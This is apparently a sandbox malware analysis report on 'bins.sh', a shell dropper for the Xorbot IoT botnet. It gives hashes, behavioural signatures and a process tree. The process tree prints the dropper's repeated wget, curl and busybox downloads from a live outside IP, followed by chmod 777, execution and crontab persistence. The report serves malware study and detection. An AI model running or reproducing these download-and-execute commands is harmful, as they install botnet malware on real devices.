Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/12/2024, 17:56

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    438006bbfd462be4fd9c865af07b79f1

  • SHA1

    307c1b4a303f9a17faf6b009da89b55662ecb347

  • SHA256

    b4c55c1a69e129f0f04fb3058c1a2daa74525d58008ffe57827f316b18a0b872

  • SHA512

    c07722eee12c0fc776b1eef21671926015149f76499bfeb36bc9eacef98ee7d273cae91eaab25f3f37b6ce1af69e4faff5ba20fd5955d2b8ce6ec37576276cee

  • SSDEEP

    192:4lJYhJCDYwYSd6CNCGtujXD+M91Q19zKK9VcBKYYwF6CNCGtn91Q19zP9Vc65XDM:YYwYSIjXDKmK9VcBZYwUj9VcYXDM

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (986) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:674
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:683
        • /bin/chmod
          chmod 777 cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          ./cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:687
        • /bin/rm
          rm cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          PID:689
        • /usr/bin/wget
          wget http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Writes file to tmp directory
          PID:692
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:694
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Writes file to tmp directory
          PID:696
        • /bin/chmod
          chmod 777 wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • File and Directory Permissions Modification
          PID:697
        • /tmp/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          ./wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Executes dropped EXE
          PID:698
        • /bin/rm
          rm wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
            PID:700
          • /usr/bin/wget
            wget http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Writes file to tmp directory
            PID:701
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:702
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Writes file to tmp directory
            PID:703
          • /bin/chmod
            chmod 777 7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • File and Directory Permissions Modification
            PID:705
          • /tmp/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            ./7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Executes dropped EXE
            PID:707
          • /bin/rm
            rm 7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
              PID:709
            • /usr/bin/wget
              wget http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Writes file to tmp directory
              PID:710
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:714
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Writes file to tmp directory
              PID:718
            • /bin/chmod
              chmod 777 Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              ./Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Executes dropped EXE
              PID:765
            • /bin/rm
              rm Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
                PID:767
              • /usr/bin/wget
                wget http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Writes file to tmp directory
                PID:768
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/chmod
                chmod 777 LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • File and Directory Permissions Modification
                PID:809
              • /tmp/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                ./LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:810
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:812
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:813
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:814
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:815
                    • /bin/rm
                      rm LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                      2⤵
                        PID:817
                      • /usr/bin/wget
                        wget http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                        2⤵
                          PID:820
                        • /usr/bin/curl
                          curl -O http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          PID:901
                        • /bin/busybox
                          /bin/busybox wget http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                          2⤵
                          • Writes file to tmp directory
                          PID:902
                        • /bin/chmod
                          chmod 777 rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                          2⤵
                          • File and Directory Permissions Modification
                          PID:908
                        • /tmp/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                          ./rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                          2⤵
                          • Executes dropped EXE
                          PID:909
                        • /bin/rm
                          rm rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                          2⤵
                            PID:911
                          • /usr/bin/wget
                            wget http://37.44.238.68/bins/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                            2⤵
                              PID:912

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          • /tmp/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            Download Submit

                          • /tmp/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            Download Submit

                          • /tmp/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            Download Submit

                          • /tmp/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            Download Submit

                          • /tmp/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            Download Submit

                          • /tmp/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            Download Submit

                          • /var/spool/cron/crontabs/tmp.yPrafs
                            Filesize

                            210B

                            MD5

                            bd5501e1b17004b79b8cda2b07d175e8

                            SHA1

                            4ad2579e1418b25d6189decaff807ea47dc389c7

                            SHA256

                            4a4a5c429ad01aebea89bdbccc60d9398c66a5f57feff8464d7baa38f580e56a

                            SHA512

                            f0f9dc500f9901cfc623d93238107762b93d1f983bd5019edcee6eefe044288f9685c3a558f2a78af9a396e1d0b6431cbceba8971cc2ce007c8cdb0078f502a6

                            Download Submit